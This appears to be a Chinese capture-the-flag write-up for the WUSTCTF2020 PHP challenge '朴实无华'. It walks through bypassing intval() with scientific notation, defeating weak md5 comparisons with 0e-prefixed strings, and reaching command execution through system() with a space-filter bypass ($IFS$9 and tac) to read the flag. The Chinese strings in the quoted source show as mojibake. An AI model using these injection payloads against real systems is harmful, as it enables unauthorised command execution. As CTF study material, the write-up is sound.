[WUSTCTF2020]朴实无华
知识点
01 intval()函数的绕过
根据intval()
函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
intval函数还可以用于判断回文串,因为intval函数的最大值取决于操作系统,如果字符串的回文超过了最大的范围值,那么返回的值就也是原来的字符串,就会变成回文串,实现了绕过。
02 md5绕过
md5绕过方法
1.两个等号的弱类型比较,两个数通过md5加密得到的数一样
md5转换中数组无效
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
2.数组绕过
%00=NULL
强类型绕过:解码后的MD5值相等
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
md5($a)==md5($b)
这种经过md5绕过仍然等于它本身的就也还可以用科学计数法来进行绕过
03 空格的替代
空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
STEP1
根据页面上的报错信息,先尝试访问index.php
但是没有回显,查看源码在html中出现了bot关键词,尝试robot协议,访问robots.txt出现了提示
但是hint的这个文件并没有被访问到,看了wp知道这里要通过查看网络的响应头发现网站的备份文件
得到网站源码
STEP2代码审计
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
intval()
函数用于获取变量的整数值。
intval()
函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var
的 integer
数值。 intval()
不能用于 object
,否则会产生 E_NOTICE
错误并返回 1。
PHP 4, PHP 5, PHP 7
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var
:要转换成 integer 的数量值。
$base
:转化所使用的进制。
如果 base
是 0,通过检测 var
的格式来决定使用的进制
在第一层中要使用get传参一个num变量,然后他的整数值要小于2020,但是加上1之后又要大于2021,所以我们既要传入num,也要符合题目中的条件
根据intval()
函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
<?php
$num='2e4';
echo(intval($num));
echo('<br>');
echo(intval($num+1));
?>
利用这一点我们就可以绕过第一个if
?num=2e4
成功输出echo中的值
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
第二段是一个md5
的函数的绕过,我们要使$md5
变量进行md5
函数加密之仍然等于它本身,这里是md5
弱类型,两个等于号可以使用0e
开头的科学计数法解决,0e
开头的字符串会都识别为0
?num=2e4&md5=0e215962017
有PHP弱类型和md5组合的绕过题目,什么$a==md5($a)
;啊,什么$a!=$b
;md5($a)==md5($b)
;啊,诸如此类,绕过方法除了利用数组外就是利用0e215962017
、QNKCDZO
、s878926199a
这些md5
加密后的值为0e\d+
(0e
开头,0e
后全为数字)的字符串。
原理也很简单,就是当php
在经行==松散比较时,在等号前后的值都为0e\d+
时,就会判断为科学计数法0的n次方,结果都为0,等式成立。如下例:
<?php
var_dump(md5('QNKCDZO')); //string(32) "0e830400451993494058024219903391"
echo '<br>';
var_dump(md5('QNKCDZO')==0); // bool(true)
?>
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
最后一段get_flag
也是要传入一个这个参数,strstr
函数是用来查找字符串的首次出现,这里也就是我们传入的参数不能包含空格,如果包含了空格就会die
,如果传入的参数中包含cat
就会替换成wctf2020
,所以我们在进行命令执行中获得flag的时候不能用cat
命令,我们可以选择使用与cat功能相同的tac
命令,因为最后当满足了上面的条件时我们传入的参数就会作为系统命令被执行
先查询一下根目录
?num=2e4&md5=0e215962017&get_flag=ls
然后我们查看一下那个还没有打开的目录
?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag